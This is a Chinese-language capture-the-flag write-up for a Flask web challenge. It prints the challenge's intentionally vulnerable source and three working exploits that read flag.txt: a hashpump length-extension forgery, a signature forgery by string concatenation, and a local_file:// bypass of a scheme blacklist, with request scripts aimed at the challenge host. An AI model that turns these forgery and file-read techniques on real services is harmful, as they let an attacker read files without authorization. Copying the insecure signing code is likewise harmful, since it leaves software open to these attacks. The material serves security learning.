题目描述

  • 直接查看页面源代码可以看到正确格式的代码

    #! /usr/bin/env python
    #encoding=utf-8
    from flask import Flask
    from flask import request
    import socket
    import hashlib
    import urllib
    import sys
    import os
    import json
    
    reload(sys)
    sys.setdefaultencoding('latin1')
    
    app = Flask(__name__)
    
    secert_key = os.urandom(16)
    
    class Task:
        def __init__(self, action, param, sign, ip):
            self.action = action
            self.param = param
            self.sign = sign
            self.sandbox = md5(ip)
            if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
                os.mkdir(self.sandbox)
    
        def Exec(self):
            result = {}
            result['code'] = 500
            if (self.checkSign()):
                if "scan" in self.action:
                    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                    resp = scan(self.param)
                    if (resp == "Connection Timeout"):
                        result['data'] = resp
                    else:
                        print(resp)
                        tmpfile.write(resp)
                        tmpfile.close()
                    result['code'] = 200
                if "read" in self.action:
                    f = open("./%s/result.txt" % self.sandbox, 'r')
                    result['code'] = 200
                    result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
            else:
                result['code'] = 500
                result['msg'] = "Sign Error"
            return result
    
        def checkSign(self):
            if (getSign(self.action, self.param) == self.sign):
                return True
            else:
                return False
    
    #generate Sign For Action Scan.
    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param)
    
    @app.route('/De1ta',methods=['GET','POST'])
    def challenge():
        action = urllib.unquote(request.cookies.get("action"))
        param = urllib.unquote(request.args.get("param", ""))
        sign = urllib.unquote(request.cookies.get("sign"))
        ip = request.remote_addr
        if(waf(param)):
            return "No Hacker!!!!"
        task = Task(action, param, sign, ip)
        return json.dumps(task.Exec())
    @app.route('/')
    def index():
        return open("code.txt","r").read()
    
    def scan(param):
        socket.setdefaulttimeout(1)
        try:
            return urllib.urlopen(param).read()[:50]
        except:
            return "Connection Timeout"
    
    def getSign(action, param):
        return hashlib.md5(secert_key + param + action).hexdigest()
    
    def md5(content):
        return hashlib.md5(content).hexdigest()
    
    def waf(param):
        check=param.strip().lower()
        if check.startswith("gopher") or check.startswith("file"):
            return True
        else:
            return False
    
    if __name__ == '__main__':
        app.debug = False
        app.run(host='0.0.0.0',port=80)
    
  • 提示给的是 flag 在 ./flag.txt 中,题目单词打错了

  • python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战

  • 大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txtaction 中要含有 readscan,且 sign=md5(secert_key + param + action)

哈希拓展攻击

  • 这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html

  • secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

  • 使用 hashpump 即可

    root@peri0d:~/HashPump# hashpump
    Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
    Input Data: scan
    Input Key Length: 24
    Input Data to Add: read
    d7163f39ab78a698b3514fd465e4018a
    scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
    
  • exp :

    import requests
    
    url = 'http://139.180.128.86/De1ta?param=flag.txt'
    
    cookies = {
      'sign': 'd7163f39ab78a698b3514fd465e4018a',
      'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
      }
    
    res = requests.get(url=url, cookies=cookies)
    print(res.text)
    

字符串拼接

  • 试着访问了一下 /geneSign?param=flag.txt ,给出了一个 md5 8370bdba94bd5aaf7427b84b3f52d7cb ,但是只有 scan 的功能,想加入 read 功能就要另想办法了

    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param)
    
  • 看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了

    def getSign(action, param):
        return hashlib.md5(secert_key + param + action).hexdigest()
    
  • 不妨假设 secert_keyxxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。

  • 直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。

  • 直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e 即可

local_file

  • 天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16

  • 放上他们的 exp :

    import requests
    conn = requests.Session()
    
    url = "http://139.180.128.86"
    def geneSign(param):
        data = {
            "param": param
        }
        resp = conn.get(url+"/geneSign",params=data).text
        print resp
        return resp
    
    def challenge(action,param,sign):
        cookie={
            "action":action,
            "sign":sign
        }
        params={
            "param":param
        }
        resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
        return resp.text
    filename = "local_file:///app/flag.txt"
    a = []
    for i in range(1):
        sign = geneSign("{}read".format(filename.format(i)))
        resp = challenge("readscan",filename.format(i),sign)
        if("title" in resp):
            a.append(i)
        print resp,i
    print a
    
  • 请求 /geneSign?param=local_file:///app/flag.txtread 获取 md5 值为 60ff07b83381a35d13caaf2daf583c94 ,即 md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')

  • 然后再请求 /De1ta?param=local_file:///app/flag.txt 构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94

  • 以上就是他们 exp 做的事情,和上一个方法差不多

  • 关于 local_file :

    ​ 参考 : https://bugs.python.org/issue35907

    ​ 这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替

    ​ 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误

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